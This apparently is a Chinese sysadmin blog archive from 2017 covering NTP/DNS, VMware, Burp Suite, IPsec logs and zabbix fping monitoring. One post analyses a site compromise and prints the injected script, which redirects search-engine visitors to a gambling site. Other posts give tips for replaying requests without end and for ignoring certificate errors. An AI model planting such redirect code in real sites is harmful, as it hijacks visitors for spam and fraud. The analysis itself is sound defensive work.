2017年5月25日星期四

思科 NTP 与 dns配置

       本次内网NTP无法去外网同步的原因:电信运营商对网络做限制导致的,这限制很显然不是他们的目的,可能是不小心误操作导致的,致电给运营商沟通后,两天内,NTP同步的问题就解决了。经过4天NTP时间同步问题的故障排除操作,终于解决。 在这里我要谴责一下运营商的这些影响人们正常工作的行为。这不是他们第一次做,之前我google与百度也查到类似的情况。

dns配置
ip name-server 114.114.114.114
ip domain-lookup

这样就可以ping 域名测试连通性了

阿里云NTP

0x01  rdate 是时间同步的好工具
     
        man page说明
                  rdate通过TCP/IP网络连接到RFC 868时间服务器,输出时间或者设置系统时间
     
       很多时候ntpdate不能同步的,rdate却能完成任务
       常用参数含义:
             -p    输出远程设备返回的时间到终端
             -s    把系统时间设置为返回的时间
             -u    是用udp,而不是tcp传输
             -v    输出获取的过程
             -n    使用SNTP 而不是 RFC 868时间协议

       可用性较高的时间服务器
              rdate -ps time-b.nist.gov

0x02  ntpdate -- 通过NTP设置日期和时间的工具

       直接同步 ntpdate  0.cn.pool.ntp.org

       常用参数:
              -d     启用debug模式,如果报错就可以使用该选项进行调试
              -o     使用指定NTP版本去获取时间,默认是4

0x03  ntpq  -- 标准的NTP查询程序

        ntpq工具用来监控ntpd后台进程的运行情况与性能,也可运行交互模式,使用命令参数去控制

        -p   输出一列 配置文件里面server定义的peer,也显示状态汇总的情况
        -n   输出所有主机IP地址,而不是转换后的主机名

-pn 输出各字段的含义 (通过man ntpq可以得到更多的详细介绍)
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                Variable                           |                          Description                                                                                                 |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                [tally]                            |                          single-character code indicating current value of the select field of the peer status word                  |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                remote                             |                          host name (or IP number) of peer                                                                            |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                refid                              |                          association ID or kiss code                                                                                 |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                st                                 |                          stratum                                                                                                     |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                t                                  |                          u: unicast, b: broadcast, l: local                                                                          |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                when                               |                          sec/min/hr since last received packet                                                                       |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                poll                               |                          poll interval (log2 s)                                                                                      |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                reach                              |                          reach shift register (octal)                                                                                |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                delay                              |                          roundtrip delay                                                                                             |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                offset                             |                          offset                                                                                                      |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+
               |                jitter                             |                          jitter                                                                                                      |
               +---------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------+

0x04 本地局域网根NTP服务器

      /etc/ntp.conf
             server 127.127.1.0
             fudge 127.127.1.0 stratum 1


ntpq命令链接













             

在 Bash 中删除除某些文件外的所有文件[转]

0x01  
我的一位同事曾经问过我这样一个问题:在 Linux 下,如何删除目录中除某些文件之外的所有文件?当时,我告诉他可以通过模式匹配的方法解决。但其实,除此之外,还有其他的方法,正所谓“条条大路通罗马”。让我们来逐一看看。

假设要删除 ~/Downloads 目录中除 .iso 和 .zip 外的所有文件,那么在 bash 中可以按以下方法处理。

模式匹配法

shopt -s extglob # 确认开启 extglob 选项
cd ~/Downloads
rm -v !(*.iso|*.zip)
!(pattern list) 的作用是匹配除 pattern list 之外的文件。


0x02
不知你是否想过在Linux命令行上,如何实现删除除了某个文件之外的所有文件?

如abc文件夹下有a、b、c三个文件,如何一行命令删除b和c,不删除a。有位童鞋在工作经常有此需求,本文将介绍其他童鞋提供的实现方法。



其中rm -f  !(a) 最为方便。如果保留a和b,可以运行rm -f !(a|b)来实现。

不过一般bash中运行后会提示

“-bash: !: event not found ” 可以通过运行shopt -s extgolb来解决。如下:
[root@localhost /]# mkdir abc
[root@localhost /]# cd abc
[root@localhost abc]# touch a b c
[root@localhost abc]# ls
a  b  c
[root@localhost abc]# rm -f !(a)
-bash: !: event not found
[root@localhost abc]# shopt -s extglob
[root@localhost abc]# rm -f !(a)
[root@localhost abc]# ls
a
[root@localhost abc]# touch b c d
[root@localhost abc]# rm -f !(a|b)
[root@localhost abc]# ls
a  b



另外也可以使用下面的方法:

[root@localhost abc]# ls
a  b  c
[root@localhost abc]# ls |grep -v a |xargs rm -f
[root@localhost abc]# ls
a

2017年5月19日星期五

虚拟化配置

vSphere  是客户端工具,用于管理虚拟机集群,用于连接vCenter
EXSI  是虚拟化宿主系统
vCenter  是虚拟机集群的后台管理系统,即服务器端,可以把多台EXSI加入集群

通过vCenter所在主机的IP地址,登录web管理界面或者vSphere的下载界面,
具体地址  https://x.x.x.x
载vSphere客户端,安装后,打开工具,
输入 administrator@vsphere.local 以及密码 登录管理控制台

1. 怎么制作虚拟机模板
2. 通过模板创建虚拟机
3. 虚拟机安装linux操作系统的磁盘分区设计与磁盘技术选型
4. 怎么把vmware虚拟机迁移到ESXi  (导出为你esxi平台的版本号)
5. 怎么把ESXi的虚拟机迁移到vmware (定位磁盘文件导出即可)
6. vmware使用虚拟机共享技术,以及使用“连接服务器”功能连接到Vcenter

最佳linux部署实践:
      1. 使用最小化系统安装(减少内存与CPU资源)
      2. 数据扩展目录使用LVM磁盘
      3. 根据需要的基本命令,完成模板的制作
      4. 用模板创建虚拟机,快速部署
      5. 部署完成后,修改主机名,IP地址
      6. 在使用之前,进行快照备份 (使用快照后,硬盘空间不能扩展,除非删除快照)


*.vmdk是虚拟硬盘文件
*.vmsn是快照文件
*.vmx是虚拟机的配置文件
如果在虚拟机开机状态下保存快照,还会有*.vmem的快照内存文件。

删除快照需要注意:
        进入数据存储里面看看,虚拟机的快照文件有多大,如果太大删除会消耗很多时间。
   

日志服务器部署的时候需要注意的地方:
      1. 日志服务器的数据存储,应该设置可以快捷扩展的,硬盘是日志服务器的消耗资源

CentOS 最小化系统的模板部署,网卡不见的解决方法:
       部署完成后,进入系统,service network restart 会提示如下:
       device eth0 seems not to be present
       vim /etc/sysconfig/network-script/ifcfg-eth0   -->  修改MAC地址
       根据虚拟机的网络适配器地址,进行设置

               之后按下面三步操作:
                       [root@c1node01 ~]# rm -rf /etc/udev/rules.d/70-persistent-net.rules
                       [root@c1node01 ~]# reboot ………………
                       [root@c1node01 ~]# service network restart

debian 8 jessie 网卡设置
         debian的网卡设置非常简单,只需对interface文件默认的配置修改一下即可
         如果新增一个网卡,就把配置复制一份,修改写接口名称即可

2017/7/12

最近因为服务器内存资源不足,需要对内存进行扩展。
买内存之前,首先要看内存插槽还有多少个,内存插槽支持多大的容量,支持的内存型号。
这些信息其实都可以在vcenter vsphere客户端看到,【清单】【主机和集群】
ESXI主机下的 Hardware Status下看到。

还有一个情况是在vCenter下分多个账号,给每个账号分配一定权限,做好角色分组。


参考链接:
        VMware ESXi虚拟机克隆及迁移
        從VMware Workstation Pro 12 遷移虛擬機到 ESXi 6.0
        vCenter用户与权限分配
        VMware几种网络适配器区别
        vmware日志文件的路径



2017年5月18日星期四

安全域,概念众多,究竟何去何从,本文来个抛砖引玉

我从业这么久,经常讲安全域这个概念,但是它是如何诞生的,后面又经过怎么样的演变。

以下文字来源于 这篇文章

----------摘抄开始

首先来看定义:

定义1:安全域是由一组具有相同安全保护需求、并相互信任的系统组成的逻辑区域。

定义2:安全域是由在同一工作环境中、具有相同或相似的安全保护需求和保护策略、相互信任、相互关联或相互作用的IT要素的集合。

定义3:安全域是指同一环境内有相同的安全保护需求、相互信任、并具有相同的安全访问控制盒边界控制策略的网络或系统。

以上定义均为从网络摘抄。定义的主体分别为逻辑区域、IT要素的集合、网络或系统,但其表达的意思基本都是一样的。可能是由于中文博大精深,虽然字不一样,但所想表达的思想都是一样的。

----------摘抄结束

看看维基百科的安全域(security domain

而安全域这个概念又会被分为:
1. 传统安全域
2. 动态安全域
3. 虚拟安全域 (类似阿里云的安全组)
4. IBM的安全域 (Secure domain)

等级保护的安全域概念
《信息安全技术--信息系统安全通用技术要求》GB/T 20271—2006
《信息安全技术--信息系统等级保护安全设计--技术要求》

美国国安局《信息保障技术框架》里面提到的“纵深防御”(Defense in Depth
                 《信息保障技术框架》的全册链接

常见的划分方法:
1. 按照防护的层次:外部接口层、核心交换层、计算服务层、资源层,根据安全要求和策略的不同,划分区域
2. 网络安全域划分:本地网络、远程网络、公共网络、伙伴访问

划分注意:
1. 子网与安全域要分开,因为安全域是一组对象集合,与子网没有必然联系,如果非要将子网与安全域联系在一起,那么安全域将会被细分为非常多的层次,导致出现三级子安全域,甚至四级子安全域,将会让安全域设计的工作严重复杂化。

    子网与安全域的关系:
         一个安全域可以容纳多个子网
         一个子网只能归属一个安全域(子网A 归属 安全域A,子网A就不可能归属其他域)
   
    下图,就是不合理的设计,应该将子网与安全域分开规划


参考链接:
安全域划分
安全域的划分




2017年5月17日星期三

burp target proxy 使用细节


0x01  Target Scope的作用
  • 限制站点地图和Proxy 历史中的显示结果
  • 告诉Burp Proxy 拦截哪些请求
  • Burp Spider抓取哪些内容
  • Burp Scanner自动扫描哪些作用域的安全漏洞
  • 在Burp Intruder和Burp Repeater 中指定URL
将需要抓包的域名放入include scope,有两种方法:
1. 在数据包或者某个连接,右键点击,然后 add to scope
2. 在数据包或者某个连接,右键点击,Copy Url --> Target -->Scope --> Paste URL

Proxy history:
          Filter: Showing all items
                    Show only in-scope items

exclude scope

0x02  Proxy Intercept
     
       改变GET或者POST请求方式、
       改变请求body的编码,
同时也可以改变请求消息的拦截设置,
       不再拦截此主机的消息、
       不再拦截此IP地址的消息、
       不再拦截此种文件类型的消息、
       不再拦截此目录的消息,
也可以指定针对此消息拦截它的服务器端返回消息。

intercept选项卡
     Action
            Don't intercept requests
                      To this host
                      To this IP address
                      To this file extension
                      To this directory

0x03  Project  & User Options  &  State (V1.7.11)

       在Burp Suite v1.7.11 后引入了项目文件的概念。
       保存Project Options 与 User Options 可以记下你习惯方式,下次直接使用即可。

         state文件,则是当时抓的数据包与代理历史情况的记录。

注意:证书的导入与导出与配置无关

我的使用习惯建议:

burp 无法抓取chrome 58的https包的临时解决方案:
      1. 在启动chrome的快捷方式加入选项 --ignore-certificate-errors

建议,抓包的时候,把截断打开:
     1. 如果截断的数据包不是你想要的域名,可以设置don't intercept
     2. 如果是你想要的域名,可以设置 add to scope
     3. 上面两步,都是为了history能够显示有效的内容,过滤无用的数据包
     4.  每一个测试项目,都可以用save project option保存配置,下次启动直接加载


这个问题的描述:
     
       0x1 官网论坛 Certs invalid on Chrome 58 due to CN Deprecation

       0x2 stackExchange论坛 Burp Suite - Although my configurations are correct, still Chrome doens't allows me to access HTTPS sites and throws an error!

参考链接:
针对非Webapp测试的Burp技巧(二):扫描、重放
如何使用Burp Suite代理
Chrome (for Windows only) - HSTS Certificate Exception Instructions







Burp 重复发送同一个数据包

在 Intruder下:
position , clear所有变量
payloads,payload type 改为 null payload
payload options ,continue indefinitely (意思为持续发包)

参考链接:
Repeat a request in a loop
PortSwigger Support Center-- How Do I

2017年5月11日星期四

域名通过脚本恶意跳转 的分析

某公司官网被嵌入恶意的js脚本,该脚本的位置介于<html> 与 <head> 之间。

<noscript> <title>xx赌xx博网.....</title>
<meta name="keywords" content="网上赌博...." />
<meta name="description" content="【w.05.com】博彩 s评级 网【w w.8.cc】...." />
</noscript><code>
<script src="http://www.xxx.xxx/aaa.js" type="text/javascript"></script>

http://www.xxx.xxx/aaa.js  这个js的内容如下:

document.writeln("");
document.writeln("");
document.writeln("<script LANGUAGE=\'Javascript\'>");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\'dsms\')>0 || s.indexOf(\'baidu\')>0 || s.indexOf(\'sogou\')>0 ) ");
document.writeln("location.href=\'http://xxbc.com/index.htm';");
document.writeln("else");
document.writeln("location.href=\'index.htm\'");
document.writeln("</script>");
document.writeln("");


2017年5月8日星期一

linux必会的版本号查看

首先linux是有多个分支的操作系统,目前只讨论两大重要分支。

看版本号的时候经常会看到:  debian 7.5 Wheezy
可以按下面分解:















分别对应了三个命令,基本上把这三个命令记住,就可以知道完整的版本情况了。

其中lsb_release是个独特的命令,它的man解释

NAME
              lsb_release - print distribution-specific information

DESCRIPTION
       The lsb_release command provides certain LSB (Linux Standard Base
and distribution-specific information.
       If no options are given, the -v option is assumed.

这样方便去理解这个命令,同时可以记得更牢固。

查看内核版本的命令:
            uname -a
内核版本可以看到硬件架构,比如i386、i686、amd64、x86_64,可以根据这个信息
来选择软件包








2017年5月7日星期日

ipsec vpn主模式与野蛮模式,PFS故障


如果一边启用FPS,另一边没有启用PFS,会出现下面报错

May 02 2017 10:09:18: %ASA-5-713119: Group = 183.49.47.106, IP = 183.49.47.106, PHASE 1 COMPLETED
May 02 2017 10:09:18: %ASA-5-713904: Group = 183.49.47.106, IP = 183.49.47.106, All IPSec SA proposals found unacceptable!
May 02 2017 10:09:18: %ASA-3-713902: Group = 183.49.47.106, IP = 183.49.47.106, QM FSM error (P2 struct &0x00007fff9efdb610, mess id 0xbe9ad595)!
May 02 2017 10:09:18: %ASA-3-713902: Group = 183.49.47.106, IP = 183.49.47.106, Removing peer from correlator table failed, no match!
May 02 2017 10:09:18: %ASA-5-713259: Group = 183.49.47.106, IP = 183.49.47.106, Session is being torn down. Reason: Phase 2 Mismatch
May 02 2017 10:09:18: %ASA-4-113019: Group = 183.49.47.106, Username = 183.49.47.106, IP = 183.49.47.106, Session disconnected. Session Type: LAN-to-LAN, Duration: 0h:00m:00s, Bytes xmt: 0, Bytes rcv: 0, Reason: Phase 2 Mismatch
May 02 2017 10:09:18: %ASA-5-713904: IP = 183.49.47.106, Received encrypted packet with no matching SA, dropping



主模式:默认会用接口的IP地址作为隧道组的ID去匹配策略
野蛮模式: 可以自定义隧道组的ID,思科默认使用接口IP地址作为ID,远程身份ID与对端的定义的情况,本地身份ID为已经配置好的隧道组名称

-------------------------
May 02 2017 13:38:44: %ASA-5-713119: Group = spoke1, IP = 183.49.47.106, PHASE 1 COMPLETED
May 02 2017 13:38:44: %ASA-5-713076: Group = spoke1, IP = 183.49.47.106, Overriding Initiator's IPSec rekeying duration from 0 to 4608000 Kbs
May 02 2017 13:38:44: %ASA-5-713049: Group = spoke1, IP = 183.49.47.106, Security negotiation complete for LAN-to-LAN Group (spoke1)  Responder, Inbound SPI = 0xc6cb4692, Outbound SPI = 0x92a645aa
May 02 2017 13:38:44: %ASA-5-713120: Group = spoke1, IP = 183.49.47.106, PHASE 2 COMPLETED (msgid=55089711)

-------------------------
May 02 2017 14:56:01: %ASA-5-713119: Group = YUNSHU, IP = 183.49.47.106, PHASE 1 COMPLETED
May 02 2017 14:56:01: %ASA-5-713076: Group = YUNSHU, IP = 183.49.47.106, Overriding Initiator's IPSec rekeying duration from 0 to 4608000 Kbs
May 02 2017 14:56:01: %ASA-5-713049: Group = YUNSHU, IP = 183.49.47.106, Security negotiation complete for LAN-to-LAN Group (YUNSHU)  Responder, Inbound SPI = 0x3f1213b5, Outbound SPI = 0xf0380816
May 02 2017 14:56:01: %ASA-5-713120: Group = YUNSHU, IP = 183.49.47.106, PHASE 2 COMPLETED (msgid=f4d36555)
--------------------------

2017年5月5日星期五

zabbix fping 网络连通性检测,以及服务器之间的网络检测

我主要使用zabbix的两种监控项类型来做ICMP检测。
监测指标有三种:
 1. 两点之间的可用性  [ 0 , 1]
 2. 两点之间的丢包率  [ 0 -100 %]
 3. 两点之间的响应时间  [ 0 - 3000 ms]



要想完成两台服务器之间链路的状态监控,需要在zabbix agent配置key来完成。
经过google之后,找到zabbix官方论坛的一篇帖子

首先你要保证安装fping,fping这个工具功能强大,zabbix用fping返回数据来监测。

fping强大之处
1. 快速ping包,-p 30,每隔30毫秒就发送一个echo reply包
2. 整个网段搜索存活主机,-a -g 子网,例如: fping -a -g 10.0.0.0/24
3. 通过IP反查域名,fping -a -d 8.8.8.8  (3.0以上的版本才支持)


保证zabbix有权限调用fping
chown root.zabbix /etc/zabbix/fping
chmod 6710 fping
设置好后,权限情况如下:
-rws--s--- 1 root zabbix 54759 Jul 9 14:59 fping
也可以通过/etc/sudoers去配置
zabbix ALL=(ALL) NOPASSWD:/usr/bin/fping

在zabbix_agentd.conf下添加用户参数:
#fping
UserParameter=chk.fping[*],sudo /usr/bin/fping -c 3 $1 2>&1 | tail -n 1 | awk '{print $NF}' | cut -d '/' -f2

如果会报一个timeout的错误,在下面两个配置文件修改timeout值
/etc/zabbix/zabbix_agentd.conf
Timeout=30
/etc/zabbix/zabbix_server.conf
Timeout=30
关于userparameter的含义:点击链接
关于简单检查各个key,各个参数的具体含义:点击链接

简单检查的key - icmppingsec,使用时主要,数据类型是浮点型

附加上常用command的写法:
注意:导入agent配置时,ip要写为$1
packet loss
fping -p 50 -c 4 10.8.1.12 2>&1 | tail -n 1 | awk -F ' ' '{print $5}'| cut -d '/' -f3 | cut -d ',' -f1
fping -p 50 -c 4 10.8.1.12 2>&1 | tail -n 1 | awk '{print $5}'| cut -d '/' -f5 | cut -d ',' -f1

packet avg sec
fping --p 50 -c 4 10.8.1.12 2>&1 | tail -n 1 | awk '{print $NF}' | cut -d '/' -f2